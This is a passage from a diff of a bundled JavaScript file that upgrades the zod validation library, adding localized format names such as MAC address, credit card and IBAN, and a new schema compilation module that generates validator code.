"IPv6 adresi", + mac: "MAC adresi", cidrv4: "IPv4 aral\u0131\u011F\u0131", cidrv6: "IPv6 aral\u0131\u011F\u0131", base64: "base64 ile \u015Fifrelenmi\u015F metin", base64url: "base64url ile \u015Fifrelenmi\u015F metin", json_string: "JSON dizesi", e164: "E.164 say\u0131s\u0131", + credit_card: "kredi kart\u0131 numaras\u0131", + currency_code: "para birimi kodu", + iban: "IBAN", jwt: "JWT", template_literal: "\u015Eablon dizesi" }; @@ -64288,17 +66827,18 @@ var error43 = () => { }; function tr_default() { return { - localeError: error43() + localeError: error54() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/uk.js -var error44 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/uk.js +var error55 = () => { const Sizable = { string: { unit: "\u0441\u0438\u043C\u0432\u043E\u043B\u0456\u0432", verb: "\u043C\u0430\u0442\u0438\u043C\u0435" }, file: { unit: "\u0431\u0430\u0439\u0442\u0456\u0432", verb: "\u043C\u0430\u0442\u0438\u043C\u0435" }, array: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0456\u0432", verb: "\u043C\u0430\u0442\u0438\u043C\u0435" }, - set: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0456\u0432", verb: "\u043C\u0430\u0442\u0438\u043C\u0435" } + set: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0456\u0432", verb: "\u043C\u0430\u0442\u0438\u043C\u0435" }, + map: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0456\u0432", verb: "\u043C\u0430\u0442\u0438\u043C\u0435" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -64324,12 +66864,16 @@ var error44 = () => { duration: "\u0442\u0440\u0438\u0432\u0430\u043B\u0456\u0441\u0442\u044C ISO", ipv4: "\u0430\u0434\u0440\u0435\u0441\u0430 IPv4", ipv6: "\u0430\u0434\u0440\u0435\u0441\u0430 IPv6", + mac: "\u0430\u0434\u0440\u0435\u0441\u0430 MAC", cidrv4: "\u0434\u0456\u0430\u043F\u0430\u0437\u043E\u043D IPv4", cidrv6: "\u0434\u0456\u0430\u043F\u0430\u0437\u043E\u043D IPv6", base64: "\u0440\u044F\u0434\u043E\u043A \u0443 \u043A\u043E\u0434\u0443\u0432\u0430\u043D\u043D\u0456 base64", base64url: "\u0440\u044F\u0434\u043E\u043A \u0443 \u043A\u043E\u0434\u0443\u0432\u0430\u043D\u043D\u0456 base64url", json_string: "\u0440\u044F\u0434\u043E\u043A JSON", e164: "\u043D\u043E\u043C\u0435\u0440 E.164", + credit_card: "\u043D\u043E\u043C\u0435\u0440 \u043A\u0440\u0435\u0434\u0438\u0442\u043D\u043E\u0457 \u043A\u0430\u0440\u0442\u043A\u0438", + currency_code: "\u043A\u043E\u0434 \u0432\u0430\u043B\u044E\u0442\u0438", + iban: "IBAN", jwt: "JWT", template_literal: "\u0432\u0445\u0456\u0434\u043D\u0456 \u0434\u0430\u043D\u0456" }; @@ -64397,22 +66941,23 @@ var error44 = () => { }; function uk_default() { return { - localeError: error44() + localeError: error55() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ua.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ua.js function ua_default() { return uk_default(); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ur.js -var error45 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ur.js +var error56 = () => { const Sizable = { string: { unit: "\u062D\u0631\u0648\u0641", verb: "\u06C1\u0648\u0646\u0627" }, file: { unit: "\u0628\u0627\u0626\u0679\u0633", verb: "\u06C1\u0648\u0646\u0627" }, array: { unit: "\u0622\u0626\u0679\u0645\u0632", verb: "\u06C1\u0648\u0646\u0627" }, - set: { unit: "\u0622\u0626\u0679\u0645\u0632", verb: "\u06C1\u0648\u0646\u0627" } + set: { unit: "\u0622\u0626\u0679\u0645\u0632", verb: "\u06C1\u0648\u0646\u0627" }, + map: { unit: "\u0622\u0626\u0679\u0645\u0632", verb: "\u06C1\u0648\u0646\u0627" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -64438,12 +66983,16 @@ var error45 = () => { duration: "\u0622\u0626\u06CC \u0627\u06CC\u0633 \u0627\u0648 \u0645\u062F\u062A", ipv4: "\u0622\u0626\u06CC \u067E\u06CC \u0648\u06CC 4 \u0627\u06CC\u0688\u0631\u06CC\u0633", ipv6: "\u0622\u0626\u06CC \u067E\u06CC \u0648\u06CC 6 \u0627\u06CC\u0688\u0631\u06CC\u0633", + mac: "\u0627\u06CC\u0645 \u0627\u06D2 \u0633\u06CC \u0627\u06CC\u0688\u0631\u06CC\u0633", cidrv4: "\u0622\u0626\u06CC \u067E\u06CC \u0648\u06CC 4 \u0631\u06CC\u0646\u062C", cidrv6: "\u0622\u0626\u06CC \u067E\u06CC \u0648\u06CC 6 \u0631\u06CC\u0646\u062C", base64: "\u0628\u06CC\u0633 64 \u0627\u0646 \u06A9\u0648\u0688\u0688 \u0633\u0679\u0631\u0646\u06AF", base64url: "\u0628\u06CC\u0633 64 \u06CC\u0648 \u0622\u0631 \u0627\u06CC\u0644 \u0627\u0646 \u06A9\u0648\u0688\u0688 \u0633\u0679\u0631\u0646\u06AF", json_string: "\u062C\u06D2 \u0627\u06CC\u0633 \u0627\u0648 \u0627\u06CC\u0646 \u0633\u0679\u0631\u0646\u06AF", e164: "\u0627\u06CC 164 \u0646\u0645\u0628\u0631", + credit_card: "\u06A9\u0631\u06CC\u0688\u0679 \u06A9\u0627\u0631\u0688 \u0646\u0645\u0628\u0631", + currency_code: "\u06A9\u0631\u0646\u0633\u06CC \u06A9\u0648\u0688", + iban: "IBAN", jwt: "\u062C\u06D2 \u0688\u0628\u0644\u06CC\u0648 \u0679\u06CC", template_literal: "\u0627\u0646 \u067E\u0679" }; @@ -64513,12 +67062,12 @@ var error45 = () => { }; function ur_default() { return { - localeError: error45() + localeError: error56() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/uz.js -var error46 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/uz.js +var error57 = () => { const Sizable = { string: { unit: "belgi", verb: "bo\u2018lishi kerak" }, file: { unit: "bayt", verb: "bo\u2018lishi kerak" }, @@ -64557,6 +67106,9 @@ var error46 = () => { base64url: "base64url kodlangan satr", json_string: "JSON satr", e164: "E.164 raqam", + credit_card: "kredit karta raqami", + currency_code: "valyuta kodi", + iban: "IBAN", jwt: "JWT", template_literal: "kirish" }; @@ -64624,17 +67176,18 @@ var error46 = () => { }; function uz_default() { return { - localeError: error46() + localeError: error57() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/vi.js -var error47 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/vi.js +var error58 = () => { const Sizable = { string: { unit: "k\xFD t\u1EF1", verb: "c\xF3" }, file: { unit: "byte", verb: "c\xF3" }, array: { unit: "ph\u1EA7n t\u1EED", verb: "c\xF3" }, - set: { unit: "ph\u1EA7n t\u1EED", verb: "c\xF3" } + set: { unit: "ph\u1EA7n t\u1EED", verb: "c\xF3" }, + map: { unit: "ph\u1EA7n t\u1EED", verb: "c\xF3" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -64660,12 +67213,16 @@ var error47 = () => { duration: "kho\u1EA3ng th\u1EDDi gian ISO", ipv4: "\u0111\u1ECBa ch\u1EC9 IPv4", ipv6: "\u0111\u1ECBa ch\u1EC9 IPv6", + mac: "\u0111\u1ECBa ch\u1EC9 MAC", cidrv4: "d\u1EA3i IPv4", cidrv6: "d\u1EA3i IPv6", base64: "chu\u1ED7i m\xE3 h\xF3a base64", base64url: "chu\u1ED7i m\xE3 h\xF3a base64url", json_string: "chu\u1ED7i JSON", e164: "s\u1ED1 E.164", + credit_card: "s\u1ED1 th\u1EBB t\xEDn d\u1EE5ng", + currency_code: "m\xE3 ti\u1EC1n t\u1EC7", + iban: "IBAN", jwt: "JWT", template_literal: "\u0111\u1EA7u v\xE0o" }; @@ -64733,17 +67290,18 @@ var error47 = () => { }; function vi_default() { return { - localeError: error47() + localeError: error58() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/zh-CN.js -var error48 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/zh-CN.js +var error59 = () => { const Sizable = { string: { unit: "\u5B57\u7B26", verb: "\u5305\u542B" }, file: { unit: "\u5B57\u8282", verb: "\u5305\u542B" }, array: { unit: "\u9879", verb: "\u5305\u542B" }, - set: { unit: "\u9879", verb: "\u5305\u542B" } + set: { unit: "\u9879", verb: "\u5305\u542B" }, + map: { unit: "\u9879", verb: "\u5305\u542B" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -64769,12 +67327,16 @@ var error48 = () => { duration: "ISO\u65F6\u957F", ipv4: "IPv4\u5730\u5740", ipv6: "IPv6\u5730\u5740", + mac: "MAC\u5730\u5740", cidrv4: "IPv4\u7F51\u6BB5", cidrv6: "IPv6\u7F51\u6BB5", base64: "base64\u7F16\u7801\u5B57\u7B26\u4E32", base64url: "base64url\u7F16\u7801\u5B57\u7B26\u4E32", json_string: "JSON\u5B57\u7B26\u4E32", e164: "E.164\u53F7\u7801", + credit_card: "\u4FE1\u7528\u5361\u53F7", + currency_code: "\u8D27\u5E01\u4EE3\u7801", + iban: "IBAN", jwt: "JWT", template_literal: "\u8F93\u5165" }; @@ -64843,17 +67405,18 @@ var error48 = () => { }; function zh_CN_default() { return { - localeError: error48() + localeError: error59() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/zh-TW.js -var error49 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/zh-TW.js +var error60 = () => { const Sizable = { string: { unit: "\u5B57\u5143", verb: "\u64C1\u6709" }, file: { unit: "\u4F4D\u5143\u7D44", verb: "\u64C1\u6709" }, array: { unit: "\u9805\u76EE", verb: "\u64C1\u6709" }, - set: { unit: "\u9805\u76EE", verb: "\u64C1\u6709" } + set: { unit: "\u9805\u76EE", verb: "\u64C1\u6709" }, + map: { unit: "\u9805\u76EE", verb: "\u64C1\u6709" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -64879,12 +67442,16 @@ var error49 = () => { duration: "ISO \u671F\u9593", ipv4: "IPv4 \u4F4D\u5740", ipv6: "IPv6 \u4F4D\u5740", + mac: "MAC \u4F4D\u5740", cidrv4: "IPv4 \u7BC4\u570D", cidrv6: "IPv6 \u7BC4\u570D", base64: "base64 \u7DE8\u78BC\u5B57\u4E32", base64url: "base64url \u7DE8\u78BC\u5B57\u4E32", json_string: "JSON \u5B57\u4E32", e164: "E.164 \u6578\u503C", + credit_card: "\u4FE1\u7528\u5361\u865F", + currency_code: "\u8CA8\u5E63\u4EE3\u78BC", + iban: "IBAN", jwt: "JWT", template_literal: "\u8F38\u5165" }; @@ -64951,17 +67518,18 @@ var error49 = () => { }; function zh_TW_default() { return { - localeError: error49() + localeError: error60() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/yo.js -var error50 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/yo.js +var error61 = () => { const Sizable = { string: { unit: "\xE0mi", verb: "n\xED" }, file: { unit: "bytes", verb: "n\xED" }, array: { unit: "nkan", verb: "n\xED" }, - set: { unit: "nkan", verb: "n\xED" } + set: { unit: "nkan", verb: "n\xED" }, + map: { unit: "nkan", verb: "n\xED" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -64987,12 +67555,16 @@ var error50 = () => { duration: "\xE0k\xF3k\xF2 t\xF3 p\xE9 ISO", ipv4: "\xE0d\xEDr\u1EB9\u0301s\xEC IPv4", ipv6: "\xE0d\xEDr\u1EB9\u0301s\xEC IPv6", + mac: "\xE0d\xEDr\u1EB9\u0301s\xEC MAC", cidrv4: "\xE0gb\xE8gb\xE8 IPv4", cidrv6: "\xE0gb\xE8gb\xE8 IPv6", base64: "\u1ECD\u0300r\u1ECD\u0300 t\xED a k\u1ECD\u0301 n\xED base64", base64url: "\u1ECD\u0300r\u1ECD\u0300 base64url", json_string: "\u1ECD\u0300r\u1ECD\u0300 JSON", e164: "n\u1ECD\u0301mb\xE0 E.164", + credit_card: "n\u1ECDmba kaadi gbese", + currency_code: "koodu ow\xF3", + iban: "IBAN", jwt: "JWT", template_literal: "\u1EB9\u0300r\u1ECD \xECb\xE1w\u1ECDl\xE9" }; @@ -65059,14 +67631,14 @@ var error50 = () => { }; function yo_default() { return { - localeError: error50() + localeError: error61() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/registries.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/registries.js var _a2; -var $output = Symbol("ZodOutput"); -var $input = Symbol("ZodInput"); +var $output = /* @__PURE__ */ Symbol("ZodOutput"); +var $input = /* @__PURE__ */ Symbol("ZodInput"); var $ZodRegistry = class { constructor() { this._map = /* @__PURE__ */ new WeakMap(); @@ -65113,21 +67685,1624 @@ function registry() { (_a2 = globalThis).__zod_globalRegistry ?? (_a2.__zod_globalRegistry = registry()); var globalRegistry = globalThis.__zod_globalRegistry; -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/api.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/compile.js +var INVALID = Symbol.for("zod.compile.invalid"); +var FALLBACK_FLAG = Symbol.for("zod.compile.fallback"); +var ZodCompileAsyncError = class extends Error { + constructor(message2 = "z.compile does not support async refinements, transforms, or checks") { + super(message2); + this.name = "ZodCompileAsyncError"; + } +}; +var ZodCompileUnsupportedError = class extends Error { + constructor(feature, islandable = true) { + super(`z.compile does not support ${feature}; this schema must use the runtime parser`); + this.name = "ZodCompileUnsupportedError"; + this.islandable = islandable; + } +}; +function compileValidator(schema, parser) { + try { + return compileFn(schema, { assertOnly: true }); + } catch { + return parser; + } +} +function compile(schema, options) { + try { + const parser = compileFn(schema); + const clone2 = withParser(schema, parser); + clone2._zod.bag.validator = compileValidator(schema, parser); + return clone2; + } catch (err) { + if (options?.strict) + throw err; + return schema; + } +} +function withParser(schema, parser) { + if (isRecursiveSchema(schema)) { + throw new ZodCompileUnsupportedError("a schema whose subtree contains a reference cycle"); + } + const clone2 = clone(schema); + const liveRun = schema._zod.run; + const originalRun = liveRun.__originalRun ?? liveRun; + const wrapped = (payload, ctx) => { + if (ctx?.async || ctx?.direction === "backward" || ctx?.skipChecks || ctx?.[FALLBACK_FLAG]) { + return originalRun(payload, ctx); + } + if (ctx && isBackEdge(ctx, payload.value)) { + return originalRun(payload, ctx); + } + const out = parser(payload.value); + if (out !== INVALID) { + payload.value = out; + return payload; + } + if (ctx) + ctx[FALLBACK_FLAG] = true; + return originalRun(payload, ctx); + }; + wrapped.__originalRun = originalRun; + clone2._zod.bag.fallbackRun = originalRun; + clone2._zod.bag.validator = parser; + clone2._zod.run = wrapped; + if (!liveRun.__originalRun) + installCompiledUserMethods(clone2, schema, parser); + return clone2; +} +function installCompiledUserMethods(target, source, parser) { + const targetAny = target; + const sourceAny = source; + if (typeof sourceAny.safeParse === "function") { + const originalSafeParse = sourceAny.safeParse; + targetAny.safeParse = (data, params) => { + const out = parser(data); + if (out !== INVALID) { + return { success: true, data: out }; + } + return originalSafeParse(data, params); + }; + } + if (typeof sourceAny.parse === "function") { + const originalParse = sourceAny.parse; + targetAny.parse = (data, params) => { + const out = parser(data); + if (out !== INVALID) { + return out; + } + return originalParse(data, params); + }; + } +} +function compileFn(schema, options) { + let recursive2 = true; + try { + recursive2 = isRecursiveSchema(schema); + } catch { + } + if (recursive2) { + throw new ZodCompileUnsupportedError("a schema whose subtree contains a reference cycle"); + } + const ctx = { + constants: /* @__PURE__ */ new Map(), + constantCounter: 0, + varCounter: 0, + definite: true + }; + const doc = new Doc(["input"]); + const outputAccessor = generateCheck(doc, ctx, schema, "input", !options?.assertOnly); + doc.write(outputAccessor === null ? `return true;` : `return ${outputAccessor};`); + const constantNames = ["INVALID", ...ctx.constants.keys()]; + const constantValues = [INVALID, ...ctx.constants.values()]; + const code = doc.content.join("\n"); + const fullCode = options?.debug ? constantNames.length > 0 ? `// Constants: ${constantNames.join(", ")} +${code}` : code : ""; + const F = Function; + const factoryCode = `return (input) => { +${code} +}`; + let fn; + try { + const factory = new F(...constantNames, factoryCode); + fn = factory(...constantValues); + } catch (err) { + throw new ZodCompileUnsupportedError(`this schema (generated code failed to evaluate: ${err.message})`); + } + if (options?.debug) { + fn.code = fullCode; + } + fn.definite = ctx.definite; + return fn; +} +function addConstant(ctx, value) { + for (const [name2, v] of ctx.constants) { + if (v === value) + return name2; + } + const name = `c${ctx.constantCounter++}`; + ctx.constants.set(name, value); + return name; +} +function addUserConstant(ctx, fn) { + ctx.definite = false; + return addConstant(ctx, fn); +} +function newVar(ctx) { + return `v${ctx.varCounter++}`; +} +function runtimeRun(schema, value) { + const result = schema._zod.run({ value, issues: [] }, {}); + if (result && typeof result.then === "function") + return INVALID; + const r = result; + return r.issues.length === 0 ? r.value : INVALID; +} +function compileChild(doc, ctx, schema, accessor, needsValue = true) { + const contentLen = doc.content.length; + const constantCount = ctx.constants.size; + const constantCounter = ctx.constantCounter; + const varCounter = ctx.varCounter; + try { + return generateCheck(doc, ctx, schema, accessor, needsValue); + } catch (err) { + if (!(err instanceof ZodCompileUnsupportedError) || !err.islandable) + throw err; + doc.content.length = contentLen; + if (ctx.constants.size > constantCount) { + const trailing = Array.from(ctx.constants.keys()).slice(constantCount); + for (const k of trailing) + ctx.constants.delete(k); + } + ctx.constantCounter = constantCounter; + ctx.varCounter = varCounter; + return emitRuntimeIsland(doc, ctx, schema, accessor); + } +} +function emitRuntimeIsland(doc, ctx, schema, accessor) { + ctx.definite = false; + const schemaConst = addConstant(ctx, schema); + const runConst = addConstant(ctx, runtimeRun); + const outVar = newVar(ctx); + doc.write(`const ${outVar} = ${runConst}(${schemaConst}, ${accessor});`); + doc.write(`if (${outVar} === INVALID) return INVALID;`); + return outVar; +} +var WHEN_DEFAULTED_CHECKS = /* @__PURE__ */ new Set([ + "max_size", + "min_size", + "size_equals", + "max_length", + "min_length", + "length_equals" +]); +function generateChecks(doc, ctx, schema, accessor) { + const schemaChecks = schema._zod.def.checks; + if (!schemaChecks || schemaChecks.length === 0) + return accessor; + let currentAccessor = accessor; + for (const check3 of schemaChecks) { + const def = check3._zod.def; + if (def.when && !WHEN_DEFAULTED_CHECKS.has(def.check)) { + throw new ZodCompileUnsupportedError(`check with a custom "when" condition`); + } + switch (def.check) { + case "greater_than": + generateGreaterThanCheck(doc, ctx, def, currentAccessor); + break; + case "less_than": + generateLessThanCheck(doc, ctx, def, currentAccessor); + break; + case "multiple_of": + generateMultipleOfCheck(doc, ctx, def, currentAccessor); + break; + case "number_format": + generateNumberFormatCheck(doc, def, currentAccessor); + break; + case "min_length": { + const min = numericOperand(def.minimum, "min_length"); + const len = codePointLengthVar(doc, ctx, currentAccessor, `${currentAccessor}.length >= ${min} && ${currentAccessor}.length < ${def.minimum * 2}`); + doc.write(`if (${len} < ${min}) return INVALID;`); + break; + } + case "max_length": { + const max = numericOperand(def.maximum, "max_length"); + const len = codePointLengthVar(doc, ctx, currentAccessor, `${currentAccessor}.length > ${max}`); + doc.write(`if (${len} > ${max}) return INVALID;`); + break; + } + case "length_equals": { + const exact = numericOperand(def.length, "length_equals"); + const len = codePointLengthVar(doc, ctx, currentAccessor, `${currentAccessor}.length >= ${exact} && ${currentAccessor}.length <= ${def.length * 2}`); + doc.write(`if (${len} !== ${exact}) return INVALID;`); + break; + } + case "min_size": + doc.write(`if (${currentAccessor}.size < ${numericOperand(def.minimum, "min_size")}) return INVALID;`); + break; + case "max_size": + doc.write(`if (${currentAccessor}.size > ${numericOperand(def.maximum, "max_size")}) return INVALID;`); + break; + case "size_equals": + doc.write(`if (${currentAccessor}.size !== ${numericOperand(def.size, "size_equals")}) return INVALID;`); + break; + case "string_format": + currentAccessor = generateStringFormatCheck(doc, ctx, def, currentAccessor); + break; + case "custom": + currentAccessor = generateCustomRefineCheck(doc, ctx, check3, currentAccessor); + break; + case "bigint_format": + generateBigIntFormatCheck(doc, def, currentAccessor); + break; + case "mime_type": + generateMimeTypeCheck(doc, ctx, def, currentAccessor); + break; + case "property": + generatePropertyCheck(doc, ctx, def, currentAccessor); + break; + case "properties": + generatePropertiesChecks(doc, ctx, def, currentAccessor); + break; + case "overwrite": { + const newAccessor = newVar(ctx); + generateOverwriteCheck(doc, ctx, check3, currentAccessor, newAccessor); + currentAccessor = newAccessor; + break; + } + default: { + throw new ZodCompileUnsupportedError(`check type ${def.check}`); + } + } + } + return currentAccessor; +} +function codePointLengthVar(doc, ctx, accessor, inDoubt) { + const cpLen = addConstant(ctx, codePointLength); + const v = newVar(ctx); + doc.write(`const ${v} = typeof ${accessor} === "string" && ${inDoubt} ? ${cpLen}(${accessor}) : ${accessor}.length;`); + return v; +} +function numericOperand(value, label) { + if (typeof value !== "number" || !Number.isFinite(value)) { + throw new ZodCompileUnsupportedError(`${label} bound of type ${typeof value}`); + } + return `${value}`; +} +function comparisonOperand(ctx, value) { + if (typeof value === "bigint") + return `${value}n`; + if (typeof value === "number") { + if (Number.isNaN(value)) + throw new ZodCompileUnsupportedError("comparison check with NaN bound"); + return `${value}`; + } + if (value instanceof Date) { + if (Number.isNaN(value.getTime())) { + throw new ZodCompileUnsupportedError("comparison check with Invalid Date bound"); + } + return addConstant(ctx, value); + } + throw new ZodCompileUnsupportedError(`comparison check bound of type ${typeof value}`); +} +function generateGreaterThanCheck(doc, ctx, def, accessor) { + const op = def.inclusive ? "<" : "<="; + doc.write(`if (${accessor} ${op} ${comparisonOperand(ctx, def.value)}) return INVALID;`); +} +function generateLessThanCheck(doc, ctx, def, accessor) { + const op = def.inclusive ? ">" : ">="; + doc.write(`if (${accessor} ${op} ${comparisonOperand(ctx, def.value)}) return INVALID;`); +} +function generateMultipleOfCheck(doc, ctx, def, accessor) { + if (typeof def.value === "bigint") { + if (def.value === BigInt(0)) + throw new ZodCompileUnsupportedError("multiple_of check with a zero divisor"); + doc.write(`if (${accessor} % ${def.value}n !== 0n) return INVALID;`); + } else { + const remainder = addConstant(ctx, floatSafeRemainder); + doc.write(`if (${remainder}(${accessor}, ${numericOperand(def.value, "multiple_of")}) !== 0) return INVALID;`); + } +} +function generateNumberFormatCheck(doc, def, accessor) { + const format = def.format; + switch (format) { + case "safeint": + doc.write(`if (!Number.isSafeInteger(${accessor})) return INVALID;`); + break; + case "int32": + doc.write(`if (!Number.isInteger(${accessor}) || ${accessor} < -2147483648 || ${accessor} > 2147483647) return INVALID;`); + break; + case "uint32": + doc.write(`if (!Number.isInteger(${accessor}) || ${accessor} < 0 || ${accessor} > 4294967295) return INVALID;`); + break; + case "float32": + doc.write(`if (!Number.isFinite(${accessor}) || ${accessor} < -3.4028234663852886e38 || ${accessor} > 3.4028234663852886e38) return INVALID;`); + break; + case "float64": + doc.write(`if (!Number.isFinite(${accessor})) return INVALID;`); + break; + default: { + throw new ZodCompileUnsupportedError(`number format ${format}`); + } + } +} +function generateBigIntFormatCheck(doc, def, accessor) { + const format = def.format; + if (!format) + return; + switch (format) { + case "int64": + doc.write(`if (${accessor} < -9223372036854775808n || ${accessor} > 9223372036854775807n) return INVALID;`); + break; + case "uint64": + doc.write(`if (${accessor} < 0n || ${accessor} > 18446744073709551615n) return INVALID;`); + break; + default: { + throw new ZodCompileUnsupportedError(`bigint format ${format}`); + } + } +} +function generateMimeTypeCheck(doc, ctx, def, accessor) { + const mimeTypes = def.mime; + if (mimeTypes && mimeTypes.length > 0) { + const mimeSet = addConstant(ctx, new Set(mimeTypes)); + doc.write(`if (!${mimeSet}.has(${accessor}.type)) return INVALID;`); + } +} +function generatePropertiesChecks(doc, ctx, def, accessor) { + if (def.when) { + throw new ZodCompileUnsupportedError(`check with a custom "when" condition`); + } + doc.write(`if (${accessor} == null) return INVALID;`); + const shape = def.shape; + for (const key of Reflect.ownKeys(shape)) { + const keyExpr = typeof key === "symbol" ? addConstant(ctx, key) : esc(key); + const inputVar = newVar(ctx); + doc.write(`const ${inputVar} = ${accessor}[${keyExpr}];`); + compileChild(doc, ctx, shape[key], inputVar, false); + } +} +function generatePropertyCheck(doc, ctx, def, accessor) { + const propAccessor = `${accessor}[${JSON.stringify(def.property)}]`; + generateCheck(doc, ctx, def.schema, propAccessor); +} +function generateOverwriteCheck(doc, ctx, check3, currentAccessor, newAccessor) { + const tx = check3._zod.def.tx; + if (!tx) { + throw new ZodCompileUnsupportedError("overwrite check without a transform function"); + } + if (isAsyncFunction(tx)) { + throw new ZodCompileAsyncError("z.compile: async overwrite transforms are not supported"); + } + const txConst = addConstant(ctx, tx); + doc.write(`const ${newAccessor} = ${txConst}(${currentAccessor});`); +} +function throwAsync() { + throw new $ZodAsyncError(); +} +function pushIssue(issue2) { + this.issues.push(issue2); +} +function generateCustomRefineCheck(doc, ctx, check3, accessor) { + const def = check3._zod.def; + if (def.fn) { + if (isAsyncFunction(def.fn)) { + throw new ZodCompileAsyncError("z.compile: async .refine() predicates are not supported"); + } + const fnConst = addUserConstant(ctx, def.fn); + const throwAsyncConst = addConstant(ctx, throwAsync); + const resVar = newVar(ctx); + doc.write(`const ${resVar} = ${fnConst}(${accessor});`); + doc.write(`if (${resVar} instanceof Promise) ${throwAsyncConst}();`); + doc.write(`if (!${resVar}) return INVALID;`); + return accessor; + } + if (check3._zod.check) { + if (isAsyncFunction(check3._zod.check)) { + throw new ZodCompileAsyncError("z.compile: async .superRefine() / check functions are not supported"); + } + const checkFn = check3._zod.check; + const helperFn = (value) => { + const fakePayload = { value, issues: [], addIssue: pushIssue }; + const result = checkFn(fakePayload); + if (result instanceof Promise) + throwAsync(); + return fakePayload.issues.length === 0 ? fakePayload.value : INVALID; + }; + const helperConst = addUserConstant(ctx, helperFn); + const outVar = newVar(ctx); + doc.write(`const ${outVar} = ${helperConst}(${accessor});`); + doc.write(`if (${outVar} === INVALID) return INVALID;`); + return outVar; + } + throw new ZodCompileUnsupportedError("custom check without a predicate or check function"); +} +var PATTERN_IS_COMPLETE = /* @__PURE__ */ new Set([ + "cidrv4", + "cuid", + "cuid2", + "date", + "datetime", + "duration", + "e164", + "email", + "emoji", + "ends_with", + "guid", + "includes", + "ipv4", + "ksuid", + "lowercase", + "mac", + "nanoid", + "regex", + "starts_with", + "time", + "ulid", + "uppercase", + "uuid", + "xid" +]); +function generateStringFormatCheck(doc, ctx, def, accessor, needsValue = true) { + const fmt = def.format; + if (fmt === "base64") { + const validator = addConstant(ctx, isValidBase64); + doc.write(`if (!${validator}(${accessor})) return INVALID;`); + return accessor; + } + if (fmt === "base64url") { + const validator = addConstant(ctx, isValidBase64URL); + doc.write(`if (!${validator}(${accessor})) return INVALID;`); + return accessor; + } + if (fmt === "jwt") { + const validator = addConstant(ctx, isValidJWT); + const alg = addConstant(ctx, def.alg ?? null); + doc.write(`if (!${validator}(${accessor}, ${alg})) return INVALID;`); + return accessor; + } + if (fmt === "ipv6") { + const validator = addConstant(ctx, isValidIPv6); + doc.write(`if (!${validator}(${accessor})) return INVALID;`); + return accessor; + } + if (fmt === "cidrv6") { + const validator = addConstant(ctx, isValidCIDRv6); + doc.write(`if (!${validator}(${accessor})) return INVALID;`); + return accessor; + } + if (fmt === "credit_card") { + const validator = addConstant(ctx, isValidCreditCard); + doc.write(`if (!${validator}(${accessor})) return INVALID;`); + return accessor; + } + if (fmt === "iban") { + const validator = addConstant(ctx, isValidIBAN); + doc.write(`if (!${validator}(${accessor})) return INVALID;`); + return accessor; + } + const formatDef = def; + if (fmt === "url" || fmt === "httpurl" || formatDef.normalize || formatDef.hostname !== void 0 || formatDef.protocol !== void 0) { + const parseConst = addConstant(ctx, validateURL); + const defConst = addConstant(ctx, def); + const trimVar = newVar(ctx); + const urlVar = newVar(ctx); + doc.write(`const ${trimVar} = ${accessor}.trim();`); + doc.write(`const ${urlVar} = ${parseConst}(${trimVar}, ${defConst});`); + doc.write(`if (typeof ${urlVar} === "number") return INVALID;`); + if (formatDef.hostname !== void 0) { + const hostnameConst = addConstant(ctx, urlHostnameOk); + doc.write(`if (!${hostnameConst}(${urlVar}, ${defConst}.hostname)) return INVALID;`); + } + if (formatDef.protocol !== void 0) { + const protocolConst = addConstant(ctx, urlProtocolOk); + doc.write(`if (!${protocolConst}(${urlVar}, ${defConst}.protocol)) return INVALID;`); + } + if (!needsValue) + return null; + const outputVar = newVar(ctx); + const outputExpr = formatDef.normalize ? `${urlVar}.href` : `${addConstant(ctx, stripTabAndNewline)}(${trimVar})`; + doc.write(`const ${outputVar} = ${outputExpr};`); + return outputVar; + } + const customFn = def.fn; + if (customFn) { + if (isAsyncFunction(customFn)) + throw new ZodCompileUnsupportedError(`async string format ${fmt}`); + const fnConst = addConstant(ctx, customFn); + doc.write(`if (!${fnConst}(${accessor})) return INVALID;`); + return accessor; + } + if (PATTERN_IS_COMPLETE.has(fmt) && def.pattern) { + const patternConst = addConstant(ctx, def.pattern); + doc.write(`${patternConst}.lastIndex = 0;`); + doc.write(`if (!${patternConst}.test(${accessor})) return INVALID;`); + return accessor; + } + const format = def.format; + switch (format) { + case "regex": + throw new ZodCompileUnsupportedError("regex format without a pattern"); + case "lowercase": + doc.write(`if (${accessor} !== ${accessor}.toLowerCase()) return INVALID;`); + break; + case "uppercase": + doc.write(`if (${accessor} !== ${accessor}.toUpperCase()) return INVALID;`); + break; + case "includes": + doc.write(`if (!${accessor}.includes(${esc(def.includes)})) return INVALID;`); + break; + case 